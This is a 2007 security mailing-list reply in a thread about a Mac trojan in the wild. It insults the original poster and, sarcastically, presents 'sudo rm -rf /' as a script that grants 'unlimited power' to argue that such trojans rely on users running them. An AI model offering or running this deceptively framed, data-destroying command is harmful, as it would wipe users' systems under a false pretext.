full-disclosure - Re: mac trojan in-the-wild

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Date: Thu, 1 Nov 2007 13:27:07 -0600
From: Steven Block <scblock@...15.com>
Cc: full-disclosure@...ts.grok.org.uk, bugtraq@...urityfocus.com
Subject: Re: mac trojan in-the-wild

You're an idiot.

Save this as a script and run it, it will give you unlimited power:

#!/bin/sh
sudo rm -rf /

Enter your password if you are prompted.

Oh look, malware.

On Oct 31, 2007, at 5:21 PM, Gadi Evron wrote:

> For whoever didn't hear, there is a Macintosh trojan in-the-wild  
> being dropped, infecting mac users.
> Yes, it is being done by a regular online gang--itw--it is not yet  
> another proof of concept. The same gang infects Windows machines as  
> well, just that now they also target macs.
>
> http://sunbeltblog.blogspot.com/2007/10/screenshot-of-new-mac-trojan.html
> http://sunbeltblog.blogspot.com/2007/10/mackanapes-can-now-can-feel-pain-of.html
>
> This means one thing: Apple's day has finally come and Apple users  
> are going to get hit hard. All those unpatched vulnerabilities from  
> years past are going to bite them in the behind.
>
> I can sum it up in one sentence: OS X is the new Windows 98.  
> Investing in
> security ONLY as a last resort losses money, but everyone has to  
> learn it for themselves.
>
> Gadi Evron.

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